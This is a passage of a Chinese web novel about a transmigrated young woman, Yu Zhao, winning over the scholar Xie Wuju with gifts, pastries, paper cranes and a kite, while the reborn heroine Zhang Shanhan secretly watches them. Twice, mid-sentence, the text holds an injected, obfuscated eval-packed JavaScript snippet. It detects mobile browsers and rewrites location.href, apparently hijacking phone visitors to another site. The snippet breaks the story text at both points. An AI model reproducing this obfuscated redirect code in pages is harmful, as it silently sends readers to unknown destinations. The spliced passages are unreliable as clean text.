摊主是个须发花白的老者,正用熬化的糖稀吹出一只栩栩如生的凤凰。虞昭像发现宝贝的孩子,拉着谢无咎挤到摊前。 “小时候我最爱这个了。”她掏出铜钱买了两个,递给谢无咎一个,“你尝尝?” 谢无咎接过糖人,小心翼翼地咬了一口。甜而不腻的滋味在舌尖化开,他不由露出笑容:“确实不错。” 两人边走边吃,虞昭的糖人很快只剩下一根竹签。她瞧见前面有个书画铺子,眼睛一亮:“那边有家书肆,咱们去看看?你不是爱看书,说不定能淘到什么好书。” 铺子里墨香扑鼻,架上整齐地码着各种书籍。谢无咎的目光立刻被一册《山海经》吸引,翻开一看,竟是罕见的彩绘版本。虞昭凑过来,发间的茉莉香若有若无地飘入谢无咎鼻尖。 “这书真漂亮。”她指着其中一页,“你看这麒麟画得多传神。” 谢无咎低头看她指的地方,两人的发丝不经意间纠缠在一起,又很快分开。 而这一切,都被一个女子看在了眼里,而这女子正是原书女主章山菡。章山菡重生回来后,心里一直记挂着之前的事儿,总觉得这世间好像有些不一样了。 集市的一处角落里,章山菡正站在布匹摊前假装挑选料子,眼睛却紧盯着不远处的虞昭和谢无咎。她手里攥着一匹湖蓝色的绸缎,指节都泛了白。 “这位小姐,这料子可要给您包起来?”摊主热情地问道。 章山菡这才回过神,随手将绸缎放下:“我再看看。”她的目光又黏在了虞昭身上。记忆中那个骄纵傲慢的虞家大小姐,此刻正对着谢无咎笑得眉眼弯弯,这画面怎么看怎么违和。 “奇怪,”章山菡小声嘀咕,“这虞昭怎么像是变了个人似的,前世她明明最瞧不上谢无咎,现在倒好,和他这般亲密,还处处照顾着,这里头肯定有什么猫腻,我可得好好观察观察她,看看她到底打的什么主意。”她眯起眼睛,看着虞昭自然地替谢无咎拂去肩头的一片落叶,心中的疑虑更深了。 章山菡跟在虞昭和谢无咎身后,看着他们在铺子里挑选书画,又看着他们走出铺子,继续在集市上闲逛。 书画铺子门口,虞昭和谢无咎并肩走出来。虞昭手里还拿着刚买的《山海经》,正兴致勃勃地和谢无咎讨论书中的插图。阳光透过树荫,在她脸上投下斑驳的光影,衬得她的笑容格外明媚。 章山菡不动声色地跟了上去,保持着不远不近的距离。她看到两人在一个首饰摊前停下,虞昭拿起一支银制的蝴蝶发簪,对着阳光仔细端详。簪子上的蝴蝶翅膀薄如蝉翼,随着她的动作轻轻颤动,仿佛下一刻就要飞走。 “谢公子你看,”虞昭将发簪举到谢无咎面前,“这做工多精细。” 谢无咎凑近看了看,不自觉地放柔了声音:“确实精巧,很衬你。” 虞昭摆摆手,将发簪放回原处:“我就随便看看。” 摊主是个精明的妇人,立刻劝道:“姑娘好眼光,这簪子全城独一份儿!您戴上保管好看!” “下次吧。”虞昭笑着摇摇头,拉着谢无咎往下一个摊位走去。 章山菡趁机凑到摊前,佯装挑选首饰,眼睛却一直追随着两人的背影。她看到谢无咎趁着虞昭不注意,悄悄折返回来,从袖中掏出钱袋,买下了那支蝴蝶发簪。 “有意思...”章山菡眯起眼睛,“前世这两人势同水火,如今倒这般亲密。”她随手拿起一个铜镜照了照,镜中映出她若有所思的面容,“这个虞昭,到底在打什么主意?” 不远处,谢无咎将包好的发簪小心地藏入袖中,快步追上虞昭。 章山菡放下铜镜,决定继续跟上去看个究竟。 虞昭和谢无咎在集市上又逛了一会儿,日头渐渐西斜。谢无咎看了看天色,温声道:“走了这么久,要不要去茶馆歇歇脚?” “好啊,”虞昭揉了揉有些酸痛的脚踝,赞同地点点头,“前面那家‘清心居’的茶点不错。” 两人走进茶馆,选了张靠窗的桌子。阳光透过窗棂,在桌面上投下斑驳的光影。谢无咎点了一壶碧螺春和几样精致茶点,虞昭则托着腮望向窗外熙攘的街道。 趁着她不注意,谢无咎从袖中取出那个精心包裹的小盒子,轻轻推到虞昭面前:“给你的。” “这是?”虞昭疑惑地打开盒子,里面赫然躺着那支蝴蝶发簪。银制的蝴蝶翅膀在阳光下闪烁着细碎的光芒,栩栩如生。“你...”她抬起头,眼中满是惊喜。 谢无咎的耳尖微微泛红:“看你挺喜欢这发簪的,我就买下来了。”他看着虞昭高兴的样子,心里也很开心。 虞昭小心翼翼地拿起发簪,指尖轻抚过蝴蝶翅膀上的纹路:“太漂亮了!”她突然想到什么,有些不好意思,“不过这礼物太贵重了。” “比起你为我做的,这算什么。”谢无咎的声音很轻,却字字清晰。 不远处,章山菡坐在角落里,借着茶盏的遮掩,将这一幕尽收眼底。她的眉头越皱越深。前世的谢无咎明明对虞昭厌恶至极,如今却...... “小二,结账。”章山菡丢下几个铜钱,匆匆离开茶馆。她需要好好想想,非要把这里头的缘由弄清楚不可。 这边,虞昭已经将发簪别在了发髻上。银色的蝴蝶在她乌黑的发间振翅欲飞,衬得她整个人都灵动起来。 “好看吗?”她微微侧头。 谢无咎看得有些出神:“很...很衬你。” 离开茶馆时,夕阳已经染红了半边天空。谢无咎执意送虞昭回家,两人并肩走在路上,影子被拉得很长,依偎在一起。 到了虞府门口,谢无咎停下脚步:“明日...还出来吗?” 虞昭摸了摸发间的蝴蝶簪,笑着点头:“好啊。” 回到房中,虞昭对着铜镜左看右看,爱不释手地抚摸着发簪。半莲端着热水进来,见状笑道:“谢公子眼光真好,这簪子跟小姐真配。” “他就是太客气了。”虞昭嘴上这么说,眼角眉梢却都是藏不住的笑意。 与此同时,章山菡在自己的闺房里来回踱步。烛光下,她的脸色阴晴不定。前世那个骄纵任性的虞昭,今生怎会变得如此不同?还有谢无咎看她的眼神,一切都十分的不对劲。 “一定有古怪。”章山菡吹灭蜡烛,在黑暗中下定决心,“明日开始,我要好好查查这个虞昭。” 第二天,虞昭蹲在花圃边,手指轻轻拨弄着一株新栽的芍药。半莲提着水壶在旁边浇花,水珠在阳光下闪着细碎的光。 “这株长得不错,”虞昭拍了拍手上的泥土,“我去把那本《花间集》看完,你继续照料这些花草。” 半莲点点头:“小姐放心,这些花儿保管给您伺候得好好的。” 虞昭刚进屋,章山菡就从虞家墙角的槐树后探出身来。她今天特意换了身不起眼的褐色衣裙,发髻也梳得简单,为的就是不引人注目。 “奇怪,”章山菡盯着虞昭的窗口,小声嘀咕,“前世虞昭最是讨厌读书的。”她猫着腰,借着灌木丛的掩护,悄悄靠近了些。 透过半开的窗子,她看到虞昭正坐在书案前,专注地翻阅着一本诗集。阳光透过窗纱,在虞昭的侧脸投下柔和的光晕。她时而提笔在纸上记着什么,时而托腮沉思,那认真的模样与章山菡记忆中的虞昭判若两人。 “装模作样!”章山菡咬咬牙,又往窗前凑近了些,却不小心踩断了一根树枝。 “谁在那里?”半莲的声音突然从身后传来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419585|168970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章山菡心头一跳,急忙蹲下身,借着花丛遮掩身形。幸好半莲只是张望了一下,就又回去浇花了。 约莫一个时辰后,虞昭合上书卷,伸了个懒腰:“半莲,我出去走走,透透气。” 半莲应道:“好的,小姐,您小心点儿。” 章山菡立刻打起精神,看着虞昭换上一件淡青色的外衫出了门。她小心翼翼地跟上去,保持着不远不近的距离。 虞昭穿过几条街巷,径直走进了城西的济世堂。她想着去看看之前谢无咎生病时照顾他的那个大夫,问问大夫还有没有什么调养身子的好法子,好回去告诉谢无咎。 章山菡躲在药铺对面的茶摊上,要了碗茶慢慢喝着,眼睛却一直盯着医馆门口,心里更疑惑了,暗自思忖着:“她来医馆做什么?看着也不像是自己病了?” 济世堂内,虞昭正与那位须发花白的老大夫交谈。 “大夫,我那朋友用了您开的方子,身子好多了。”虞昭的声音透着真诚,“我想问问,可还有什么调理的法子?” 老大夫捋着胡须笑道:“姑娘有心了。令友这情况,可多用些红枣、枸杞煲粥,平日也要适当走动,莫要总闷在屋里。” “多谢大夫指点。”虞昭认真记下,又详细问了用量和做法。 章山菡在对面听得真切,心里越发觉得奇怪了。前世那个目中无人的虞昭,如今竟会对一个大夫这般恭敬?还如此关心他人的身体? 不一会儿,虞昭提着个小包袱从医馆出来,看样子是买了些药材。章山菡继续尾随,看着她又在杂货铺称了些红枣、枸杞,最后还去布庄扯了块料子。 “这料子...”章山菡眯起眼睛,“是男子用的颜色。” 直到虞昭回到虞府,章山菡才停下脚步。她站在巷口,眉头紧锁。前世的记忆与眼前的景象在她脑中激烈碰撞——那个骄纵任性、对谢无咎百般羞辱的虞昭,如今却为他求医问药、买布裁衣? “不对劲,太不对劲了。”章山菡咬着指甲,“这虞昭若不是被人掉了包,就是另有所图。”她望着虞府紧闭的大门,暗下决心:“不管你有什么阴谋,我都不会让你得逞。” 接连几日,章山菡像影子一样跟随着虞昭。她躲在虞府外的巷口,看着虞昭天不亮就起来做点心;她蹲在谢无咎院墙外的灌木丛里,听着里面传来的欢声笑语。每一幕都让她心中的疑云越来越重。 这天,章山菡早早地蹲守在虞府后门。她看着虞昭提着个精致的食盒出来,脸上还带着掩不住的笑意。食盒缝隙里飘出淡淡的桂花香,显然又是给谢无咎准备的。 “又去献殷勤,我倒要看看你们每次见面都在干什么。”章山菡咬着嘴唇,悄悄跟上。 虞昭浑然不知自己被人跟踪了,哼着小曲儿,发间的珠花随着步伐轻轻晃动,轻快地往谢无咎的小院走。她满心期待着和谢无咎的见面,想着把糕点给他,再和他分享一下这几日自己的见闻。 章山菡看着虞昭步履轻快地穿过街巷,这副模样,与前世那个傲慢的虞昭判若两人。 虞昭抬手敲门,门“吱呀”一声打开。 “虞昭?”他眼中闪过一丝惊喜,目光落在她手中的食盒上,“又带什么好东西来了?” 虞昭笑着走进院子:“做了些桂花糕,你尝尝看。”她打开食盒,香甜的气息立刻弥漫开来,“我特意少放了糖,大夫说你现在要少吃甜腻的。” 章山菡躲在院墙外的阴影处,指甲不自觉地掐进了掌心。前世那个十指不沾阳春水的虞昭,如今竟会为了谢无咎下厨? 屋内,谢无咎拿起一块糕点咬了一口,香甜软糯的口感让他眼前一亮:“好吃。” “真的?”虞昭眼睛弯成了月牙,“那我以后常做给你吃。” 谢无咎的耳尖微微泛红:“太麻烦你了。” “不麻烦。”虞昭摆摆手,又说起从大夫那儿听来的调养方子,“还有啊,每天清晨最好打套五禽戏,对筋骨特别好。” 章山菡贴着墙根,只能断断续续听到些对话。但光是这些就足够让她心惊,虞昭竟连谢无咎的起居饮食都照顾得如此周到?这绝不只是普通朋友会做的事。 夕阳西下时,虞昭才告辞离开。章山菡看着她远去的背影,心中的疑团越来越大。前世那个对谢无咎百般羞辱的虞昭,今生为何会对他如此用心?是另有所图,还是如她一般...... “不管你有什么目的,”章山菡盯着虞昭消失在巷口的背影,暗暗攥紧了拳头,“我都会查个水落石出。” 就这样,章山菡继续在暗中观察着虞昭的一举一动,而虞昭,依旧在谢无咎面前展现着自己的善意,努力刷着好感值,丝毫没察觉到有一双眼睛正紧紧地盯着自己。 7. 纸鹤微颤 这天虞昭坐在院子里的石凳上,午后的阳光暖融融地洒在她身上。她托着腮帮子,手指无意识地敲着石桌,眼睛滴溜溜地转着,心里正盘算着接下来该怎么在谢无咎面前再展现些独特的善意,好让好感值能涨得更快些。 半莲端着茶盘走过来,瞧见她这副模样,忍不住笑出声:“小姐,您这眉头都要拧成麻花了,又在琢磨什么呢?” 半莲在一旁瞧见她这副模样,笑着打趣道:“小姐,您又在琢磨啥,瞧您这认真的样子,肯定又是想着怎么对谢公子好了吧。” 虞昭回过神来,接过茶盏抿了一口:“我在想啊,送谢公子的那些点心啊、香囊啊,是不是太普通了些。”她指了指院墙边新开的蔷薇,“你看这些花儿,年年都开得一样,看久了也就不新鲜了。” 半莲顺着她的视线望去,突然眼睛一亮:“小姐,要不您给谢公子绣个帕子?上回您绣的那方帕子,连夫人都夸好呢。” 虞昭摇摇头,茶盏在指尖转了个圈:“绣帕子的姑娘太多了。”她忽然站起身,裙摆带起一阵微风,“我记得书房里有本讲民间手艺的书,咱们去看看。” 两人来到书房,虞昭在书架前翻找半天,终于抽出一本泛黄的册子。她迫不及待地翻开,忽然“啊”了一声:“这个好!”指尖点在一页画着纸鹤的图案上。 半莲凑过来看:“这是...折纸?” “对呀!”虞昭眼睛亮晶晶的,“你见过谁送这个?多新鲜!”说着就翻箱倒柜找出几张彩纸,坐在书桌前比划起来。 她先是照着记忆里的法子,用彩纸折起了一只小巧的纸鹤,可折了几下,发现不太对劲,那纸鹤的翅膀歪歪扭扭的,一点都不漂亮。虞昭皱着眉头,嘟囔着:“哎,怎么看着这么别扭。” 半莲捡起来仔细端详:“小姐别急,您看这里要这样折...”她指着书上的图示,“这个角要对齐这条线。” 虞昭重新拿起一张纸,这次动作慢了许多。阳光透过窗棂,在她专注的侧脸上投下细碎的光斑。当她终于折出一只像样的纸鹤时,忍不住欢呼:“成了!我要多做几只,串成一串肯定好看。” 就这样忙活了大半天,桌上堆满了五彩斑斓的纸鹤。虞昭用红线把它们串起来,轻轻一抖,纸鹤们便在空中翩翩起舞。 “走,现在就去!”虞昭捧着纸鹤串就要往外冲。 半莲连忙拦住:“小姐!您头发都乱了。”说着替她重新挽了挽散落的发丝,又理了理衣襟。 谢无咎正在院子里浇花,听到脚步声回头,水壶差点脱手:“虞姑娘?” “谢公子你看!”虞昭献宝似的举起纸鹤串,“我自己做的!” 纸鹤在微风中轻轻晃动,阳光透过薄薄的彩纸,在地上投下斑斓的影子。谢无咎看得呆了,水壶里的水洒了一地都没察觉:“这...这都是你折的?” 虞昭得意地点点头,忽然发现他衣摆被水打湿了一片:“哎呀,你衣服...” 谢无咎这才回过神,慌忙放下水壶:“不打紧。这些纸鹤...真精巧。”他小心翼翼地接过,指尖轻轻抚过纸鹤的翅膀,“我从未见过这样的...” “喜欢吗?”虞昭凑近一步,发间淡淡的茉莉香随风飘来。 谢无咎耳根微红,声音不自觉地放轻:“很喜欢。” 虞昭忽然想起什么,从袖中掏出一个小布包:“还有这个!”打开来是几块造型可爱的点心,“我新学的梅花酥,你尝尝?” 谢无咎拿起一块咬了一口,酥皮簌簌落下。虞昭紧张地盯着他:“怎么样?” “好吃!”谢无咎由衷赞叹,又咬了一大口,“甜而不腻,还有淡淡的花香。” 虞昭松了口气,眉眼弯成月牙:“那就好,我试了好几次呢。第一次把厨房弄得全是面粉,把厨娘都气笑了。” 谢无咎想象着她手忙脚乱的样子,忍不住笑出声。忽然一阵风吹来,纸鹤串哗啦啦作响。他赶紧护住:“我们进屋吧,别让风吹坏了。” 屋内,谢无咎小心翼翼地将纸鹤串挂在窗前的竹帘钩上,后退两步左右端详,忍不住伸手轻轻拨弄了一下最下面的那只纸鹤,看着它转了个圈儿。 虞昭瞧见谢无咎对那纸鹤串爱不释手的模样,嘴角不自觉地上扬,想着这好感值应该又能涨不少了吧。她随手拿起桌上的团扇摇了摇:“谢公子这么喜欢,不如我再给你画幅画?”说着眼睛往书桌那边瞟了瞟,“我记得上回咱们去城西那个园子,景致可好了。” “你会画画?”谢无咎眼睛一亮,三两步走到书桌前,手忙脚乱地收拾起散落的纸张,“笔墨都是现成的,就是纸可能...” 虞昭已经跟了过来,从袖中掏出一卷宣纸:“我带着呢。”她展开纸张,用镇纸压好,又拿起墨锭在砚台里慢慢研磨,“那园子里的九曲桥你还记得吗?桥边那株老梅树...” 谢无咎站在她身侧,看着她纤细的手指握着毛笔蘸墨。笔尖落在纸上时,他不由自主屏住了呼吸。虞昭画得很专注,时而蹙眉时而抿嘴,一缕碎发垂下来扫在腮边也顾不上拂开。 “哎呀,这里画歪了。”虞昭突然轻呼一声,笔尖在桥上多出了一道墨痕。 谢无咎凑近看:“哪儿歪了?我看着挺好。”他指着画上的小亭子,“连亭角挂的风铃都画出来了,真细致。” 虞昭抬头看他,鼻尖上还沾着一点墨渍:“你倒是会哄人开心。这风铃明明是胡乱点的几笔,哪里看得出形状了?” “怎么看不出?”谢无咎指着画上的墨点,“那天刮的是东南风,风铃往西北方向斜,你这不画得一模一样?” 虞昭“扑哧”笑出声,笔尖的墨汁差点滴在画上:“谢公子好记性,连风向都记得。”她继续勾勒着园中的假山,“那你还记不记得我们在亭子里躲雨时,你说了什么?” 谢无咎耳根一热,假装去整理窗前的纸鹤串:“那么久的事谁还记得...” 虞昭也不追问,专心画完最后几笔。放下笔时,手腕都有些发酸了。谢无咎立刻递来一块帕子:“擦擦手。” “怎么样?”虞昭擦着手,歪头看自己的作品,“虽然比不上那些名家,但勉强能看吧?” 谢无咎盯着画看了许久,突然说:“这画得裱起来。”他指着右上角空白处,“这里该题个字...” “别!”虞昭连忙摆手,“我那字跟鸡爪子似的,可别糟蹋了画。”她看着谢无咎跃跃欲试的样子,笑道,“要不谢公子来题?” 谢无咎拿起笔又放下:“我字也一般...”他忽然想起什么,从柜子里取出一个小木匣,“用这个吧。” 匣子里是一枚青田石印章。虞昭接过来细看,印章上刻着“无恙”二字。“这是...” “我母亲留下的。”谢无咎声音轻了几分,“说是要送给第一个...”他忽然顿住,轻咳一声,“反正给你盖在画上正合适。” 虞昭没注意他的异样,兴致勃勃地蘸了印泥,在画角郑重地按了下去。鲜红的“无恙”二字在纸上格外醒目。 “这样就好了。”她满意地点点头,忽然发现谢无咎一直盯着自己看,“怎么了?我脸上有东西?” 谢无咎回过神来,指了指自己的鼻尖示意:“这里...” 虞昭用手背一抹,反而把墨渍蹭开了。谢无咎忍不住笑出声,拿起刚才那块帕子:“别动。”他轻轻擦去她鼻尖的墨渍,动作小心得像在擦拭什么珍宝。 两人正说着话,谢无咎的肚子突然“咕噜”一声响,在安静的屋子里格外明显。他下意识捂住肚子,耳根顿时红了起来:“这...” 虞昭先是一愣,随即“噗嗤”笑出声来。窗外的阳光正好照在她弯起的眉眼上,睫毛在脸颊投下细碎的影子:“看来我们谢公子是饿坏了。”她站起身,裙摆扫过地上的阳光,“正巧我今早跟王婶学了做梅花酥,材料我都备着呢。” 谢无咎眼睛一亮,又有些犹豫:“这...太麻烦你了吧?” “麻烦什么呀。”虞昭已经解下腰间荷包,从里面掏出几个小油纸包,“面粉、糖霜、猪油,我都带齐了。”她四下张望,“厨房在哪儿?” 谢无咎连忙引路:“这边。不过我这厨房简陋得很...” 果然,小厨房里只有简单的灶具。虞昭却不在意,挽起袖子就忙活起来。谢无咎要帮忙,被她赶了出去:“你去外头等着,第一次做,要是搞砸了多丢人。” 和面时虞昭太过用力,面粉扑了她一脸。谢无咎扒在门框上偷看,见她像个花猫似的,忍不住笑出声。虞昭转头瞪他:“再笑就不给你吃了!”说着自己也笑了,用手背蹭了蹭鼻尖,结果蹭得更多。 面团揉好后,虞昭笨拙地捏着花瓣形状。第一个酥饼歪歪扭扭,第二个稍微像样些。谢无咎不知何时又蹭了进来,趁她不注意偷捏了一小块面团。 “哎呀!”虞昭拍他的手,“别捣乱!” 谢无咎笑着躲开,手指上还沾着面粉:“我就是想帮忙......” “那你负责看火。”虞昭分派任务,“要文火慢烤才行。” 油锅滋滋作响,酥饼渐渐变得金黄。虞昭紧张地盯着,生怕烤糊了。谢无咎蹲在灶前,时不时添根柴火,火光映得他脸颊发烫。 “应该...可以了吧?”虞昭用筷子夹起一个,吹了吹,递给谢无咎,“尝尝?” 谢无咎接过来,烫得在两手间倒来倒去,还是迫不及待咬了一口。酥皮簌簌落下,他连忙用手接住。 “怎么样?”虞昭眼巴巴地望着他。 谢无咎嚼了几下,眼睛渐渐睁大:“好吃!真的!”他又咬了一大口,“外酥里嫩,甜度刚好。” 虞昭松了口气,这才敢尝自己做的点心。确实还不错,虽然形状不太美观,但味道确实像那么回事。她得意地晃了晃脑袋:“看来我挺有天赋的嘛。” 两人蹲在厨房里,你一个我一个,很快就把第一锅点心吃光了。谢无咎意犹未尽:“要不再做一锅?” “贪心!”虞昭笑着戳他额头,忽然发现他发间落了些面粉,自然地伸手替他拂去。这个动作让两人都愣了一下,虞昭急忙收回手,假装整理衣袖:“那个...剩下的材料还能做一锅,你要学吗?” 谢无咎点点头,凑过来看她操作。虞昭教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419586|168970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他揉面的力道,两人手指偶尔碰到一起,又都假装不经意地避开。阳光透过厨房的小窗,把他们的影子投在墙上,靠得很近很近。 第二锅点心出炉时,天色已经渐晚。虞昭收拾着灶台,谢无咎忽然说:“下次...我能去你家厨房做给你吃吗?” 虞昭转头看他,见他一脸认真,忍不住笑道:“怎么,谢大公子也要下厨?” “我不能总吃白食啊。”谢无咎帮她解下围裙,手指不小心碰到她的后颈,两人又是一阵慌乱。围裙带子打了死结,越解越乱。 最后还是虞昭自己解开的。她抱着剩下的材料准备告辞,谢无咎执意送她到门口。夕阳把两人的影子拉得很长,重叠在一起。 “明天...”谢无咎欲言又止。 “明天我带红豆来。”虞昭晃了晃手里的空油纸包,“教你做豆沙馅的。” 暮色渐沉,屋内点起了灯。虞昭捧着茶盏,小口啜饮着,眼睛却一直偷瞄坐在对面的谢无咎。烛光在他轮廓分明的侧脸上跳动,将他的睫毛投下细长的影子。 “这个梅花酥的火候刚刚好。”谢无咎捏着半块点心,突然抬头对上她的视线,“你在看什么?” 虞昭慌忙低头,茶水溅出几滴在衣袖上:“没、没什么,就是想着下次可以试试加些桂花蜜。” 谢无咎突然伸手,用袖子轻轻擦去她手背上的茶渍。他的动作很轻,指尖却带着微微的颤抖:“小心烫。”声音比平时低了几分。 虞昭感觉心跳突然加快,赶紧转移话题:“改日天气好,我们去放风筝吧?” “风筝?” “嗯!”虞昭兴奋地比划着,“我见街上有个老伯扎的风筝可漂亮了,有燕子形状的,还有......” 你会做那个?“谢无咎眼睛一亮,不自觉地往前倾了倾身子,差点碰翻茶壶。 “现在还不会。”虞昭笑着扶稳茶壶,“不过可以学啊。我打算...”她掰着手指数起来,“先找竹篾,再裁纸,还要调颜料...” 谢无咎看着她眉飞色舞的样子,不自觉地跟着笑起来。他发现自己越来越喜欢看她这副充满生气的模样,比那些规规矩矩的大家闺秀可爱多了。 “到时候做好了,第一个给你看。”虞昭说着,忽然发现谢无咎一直盯着自己看,声音渐渐小了下去,“怎么了?我脸上又沾东西了?” 谢无咎摇摇头,轻声道:“就是觉得...你懂得真多。” 这句话让虞昭心里一暖。她想起自己刚来时,还担心这些稀奇古怪的爱好会惹人笑话。没想到谢无咎不仅不觉得奇怪,反而每次都兴致勃勃地参与。 谢无咎看着她眉飞色舞的样子,不自觉地跟着笑起来:“好,都听你的。” 窗外的海棠树下,几只麻雀正在啄食落花。一阵风吹来,花瓣纷纷扬扬,有几片顺着敞开的窗户飘进屋,落在两人之间的桌面上。虞昭捻起一片花瓣,轻轻放在谢无咎掌心:“你看,这日子真好。” 谢无咎凝视着掌心的花瓣,又看看眼前人比花娇的笑靥,心跳忽然漏了一拍。 窗外传来打更的声音,虞昭这才惊觉时辰已晚:“我得回去了。”她起身时,袖口带倒了空茶盏。 两人同时伸手去扶,指尖在空中相触,又像被烫到似的同时缩回。茶盏“叮当”一声倒在桌上,转了两圈才停住。 “我、我来收拾...”谢无咎手忙脚乱地去扶茶盏。 “不用了,半莲该等急了。”虞昭整了整衣裙,走到门口又回头,“明日、明日我早些来,给你做豆沙馅的。” 谢无咎站在灯下,烛光为他镀上一层金边:“好,我等你。” 回府的路上,虞昭的脚步格外轻快。夜风拂过脸颊,带着初夏特有的温暖。她想起谢无咎说“你懂得真多”时认真的表情,嘴角不自觉地上扬。 看着虞昭走远的背影,谢无咎摸了摸自己发烫的耳朵,心里像是被什么东西塞得满满的。他回到屋里,看着桌上剩下的几个梅花酥,舍不得吃,用油纸仔细包好,放进了柜子里。 “小姐今天心情很好啊。”半莲提着灯笼,笑眯眯地说。 虞昭踢了一脚路边的小石子:“还行吧。对了,明天记得提醒我去买竹篾和彩纸。” “又要做什么新鲜玩意儿?” “风筝。”虞昭眼睛亮晶晶的,“等天气好的时候出去放。” 半莲笑着摇头:“小姐现在满脑子都是这些。不过谢公子倒是真配合,换别人早嫌麻烦了。” 这句话让虞昭心头一暖。是啊,谢无咎从来不会嫌她折腾这些“不入流”的手艺,反而每次都像个孩子似的充满期待。 回到房里,虞昭迫不及待地翻出纸笔,开始画走马灯的草图。画着画着,她又想起谢无咎小心翼翼捧着纸鹤的样子,忍不住笑出声来。 “这次一定要做得更精致些。”她自言自语道,手上的笔不自觉地画出了谢无咎的侧脸,又赶紧涂掉,心虚地四下张望。 窗外,一轮新月悄悄爬上树梢。虞昭伏在案前,时而皱眉思索,时而奋笔疾书,直到烛火渐渐微弱,才依依不舍地吹灭了灯。 8. 风筝缠绵 虞昭站在院子里,小心翼翼地整理着刚做好的风筝。晨光透过薄薄的宣纸,照出上面精心绘制的彩蝶图案。她轻轻拨弄了一下竹骨,确认每个接口都扎得结实。 “小姐,您这风筝真漂亮!”半莲提着食盒走过来,忍不住伸手摸了摸,“这蝴蝶画得跟真的一样。” 虞昭得意地转了转风筝,金粉在阳光下闪闪发亮:“我特意请教了画坊的师傅,调了好几种颜色才画成的。”她突然想起什么,“对了,让你准备的食盒装好了吗?” “都按您说的备齐了。”半莲晃了晃食盒,“桂花糕、杏仁酥,还有新腌的脆梅。” 虞昭点点头,接过食盒:“我去去就回。”刚要迈步,又转身叮嘱,“要是我娘问起来,就说我去绣庄看新花样了。” 半莲抿嘴一笑:“知道啦,小姐快去吧,谢公子该等急了。” 虞昭抱着风筝穿过小巷,春风拂过她的发梢。路过一家笔墨铺时,掌柜探出头来打招呼:“虞姑娘,这是又去找谢公子啊?” “是啊,李叔。”虞昭笑着扬了扬手里的风筝,“今天天气好,正好放风筝。” 李掌柜捋着胡子笑道:“年轻真好。这风筝做得真精巧,比铺子里卖的还好看。” 虞昭脸一热,加快脚步走了。转过两个街角,就到了谢无咎住的小院。院门虚掩着,她轻轻推开,看见谢无咎正在院子里晾晒书籍。 “谢公子!”她唤了一声。 谢无咎闻声回头,书本差点掉在地上。他手忙脚乱地接住,眼睛却一直盯着虞昭手里的风筝:“这是?” “我做的风筝!”虞昭小跑过去,献宝似的举起来给他看,“你看,画的是金斑蝶,翅膀上撒了金粉,飞起来肯定好看。” 谢无咎接过风筝,手指轻轻抚过竹骨的接缝处:“这做工真细致。”他翻到背面,发现角落里还画着一朵小小的虞美人,不由得笑了,“连这个都想到了?” 虞昭假装没听懂他的暗示,抢白道:“今天东风正好,咱们去城郊放风筝吧?我带了点心,可以玩一整天。”她晃了晃食盒,“有你爱吃的杏仁酥。” 谢无咎把风筝小心翼翼地靠在墙边:“等我换个衣裳。”他快步走进屋里,又探出头来,“你要不要喝杯茶再走?刚泡的碧螺春。” 虞昭把食盒放在石桌上:“好啊,正好我也渴了。” 谢无咎端着茶出来时,已经换了一身利落的短打。虞昭接过茶盏,偷偷打量他这身装扮,比平日穿长衫时更显得精神。 “怎么了?”谢无咎注意到她的目光,不自在地整了整衣领。 “没什么,”虞昭抿嘴一笑,“就是觉得你这身挺适合跑动的。” 谢无咎耳根微红,赶紧转移话题:“风筝的线够长吗?我这儿还有些结实的麻线。” “够啦,我特意让王伯找了最结实的丝线。”虞昭放下茶盏,站起身来,“走吧,再晚该起风了。” 微风带着花香,轻轻掠过郊外的草地。虞昭提着裙摆,小心翼翼地踩过几处水洼,手里那只彩绘的风筝在阳光下闪闪发亮。 “慢点走,这儿有个泥坑。”谢无咎伸手虚扶了一下,又不好意思真的碰到她,手指在空中局促地蜷了蜷。 虞昭把风筝往他怀里一塞:“你帮我拿会儿。”说着三两步跳过水洼,鞋尖还是沾上了几滴泥点子。她懊恼地跺了跺脚:“新做的绣花鞋呢...” 谢无咎看着怀里精致的风筝,上面画着栩栩如生的蝴蝶,翅膀上还点缀着金粉。他小心地避开未干的颜料:“这真是你画的?” “那当然!”虞昭得意地扬起下巴,“熬了三个晚上呢。你看这蝴蝶翅膀上的纹路,我可是照着画谱一笔一笔描的。” 谢无咎的手指轻轻抚过风筝的竹骨,触手光滑平整,没有半点毛刺:“连竹篾都削得这么好。” “王伯教我的。”虞昭接过风筝,眼睛亮晶晶的,“他说我手巧,第一次做就能成这样。”她忽然压低声音,“其实我削坏了好几根竹条,手指头都划破了。” 谢无咎闻言立刻抓起她的手查看,又意识到失礼,赶紧松开:“现在还疼吗?” “早好啦。”虞昭晃了晃手指,“走,去那边空地!” 晨风正好,虞昭举着风筝小跑起来。裙角被风吹得飞扬,发间的珠花一颤一颤的。谢无咎握着线轴跟在后头,眼睛却总忍不住往她身上瞟。 “快跑呀!”虞昭回头喊道,声音里带着掩不住的笑意。 谢无咎这才回过神来,加快脚步。风筝乘着风势腾空而起,线轴哗啦啦转个不停。虞昭拍手欢呼:“飞起来了!再放线!” 两人一个放线一个收线,配合得越来越默契。风筝在空中划出优美的弧线,引得几个路过的孩童驻足观望。 “让我也试试?”虞昭伸手要线轴。 